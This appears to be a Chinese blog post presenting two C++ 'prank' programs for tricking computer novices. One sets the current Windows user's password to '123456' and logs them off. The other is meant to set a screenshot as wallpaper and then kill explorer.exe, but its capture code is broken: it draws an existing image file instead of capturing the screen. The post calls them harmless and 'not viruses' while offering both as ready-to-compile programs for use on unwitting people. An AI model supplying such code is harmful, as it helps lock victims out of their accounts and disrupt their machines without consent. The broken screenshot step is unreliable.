近两天突发奇想,写一点整蛊电脑小白的程序。考虑到代码需要在电脑上直接运行,这两例整蛊程序都使用C++编写,直接编译成exe程序让电脑小白运行后崩溃。注意,这两个程序仅仅用于整蛊人,操作都是可逆的,不会对系统造成任何损害,不是病毒。
整蛊程序一
程序的功能很简单,运行后修改当前用户的密码为“123456”,修改完成后自动注销当前用户。很多人的电脑压根不设置密码的,被设置密码后又不知道密码是啥,瞬间就抓狂了。
代码如下:
#include <windows.h>
#include <LM.h>
#pragma comment(lib, "netapi32.lib")
int main() {
// 获取当前用户的账户名
TCHAR username[MAX_PATH];
DWORD size = MAX_PATH;
GetUserName(username, &size);
// 更新密码为123456
if (NetUserChangePassword(NULL, username, NULL, L"123456") != NERR_Success) {
return -1;
}
// 注销
ExitWindowsEx(EWX_LOGOFF, 0);
return 0;
}
整蛊程序二
程序的功能分为两步:第一步将当前的屏幕截图保存,并设置为桌面背景;第二步结束explorer进程。本程序运行后,被整蛊的人屏幕中看到的依然是自己的“桌面”,只不过是背景图而已,由于explorer进程已经被杀死,点击任何东西都不会有反应。可以想象被整蛊对象的抓狂状态。
代码如下:
#include <windows.h>
#include <gdiplus.h>
#include <TlHelp32.h>
#include <string>
using namespace Gdiplus;
#pragma comment(lib, "gdiplus.lib")
int main() {
GdiplusStartupInput gsi; //创建一个GDI+启动输入变量,作为参数传递给GdiplusStartup函数
ULONG_PTR gdipToken; //定义一个ULONG_PTR类型的变量,作为参数传递给GdiplusStartup函数
GdiplusStartup(&gdipToken, &gsi, NULL); // 初始化GDI+库
Graphics* grp = NULL; //定义Graphics指针
HDC hdcScreen = GetDC(NULL); //获得屏幕HDC句柄
grp = new Graphics(hdcScreen); //将获得的HDC句柄传递给Graphics对象,从而初始化Graphics对象
Image image(L"D:\\screen.jpg");//创建Image对象,该对象表示要保存的图片文件
grp->DrawImage(&image, 0, 0); //将当前屏幕截图保存到image中
// 设置Windows桌面背景
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (void*)L"D:\\screen.jpg", SPIF_SENDCHANGE);
delete grp; //释放内存
ReleaseDC(NULL, hdcScreen); //释放内存
GdiplusShutdown(gdipToken); //关闭GDI+库
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//创建一个系统快照,其中包括所有进程信息。
PROCESSENTRY32 pe;//定义一个进程信息的变量,用来存储被找到的进程信息
pe.dwSize = sizeof(PROCESSENTRY32); //将pe大小赋值
//遍历当前及子进程,并将信息存入pe中
BOOL bRet = Process32First(hSnapshot, &pe); //使用Process32First函数读取快照中的首个进程信息,并将其存入pe。
while (bRet) //循环向后读取不断对比进行匹配,当匹配成功时退出循环
{
if (strcmp("explorer.exe", pe.szExeFile) == 0) //如果文件名匹配上了就执行相应功能
{
HANDLE hExplorer = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
TerminateProcess(hExplorer, 0);
CloseHandle(hExplorer);
break;
}
bRet = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
return 0;
}
提醒一下大家,整蛊程序仅适用于朋友之间开开玩笑,千万不要把人家激怒了哦!
以上两个程序都是我即时想出来的,不知道大家有没有什么更好的整蛊程序的点子,如果有什么好的点子,欢迎在评论区留言。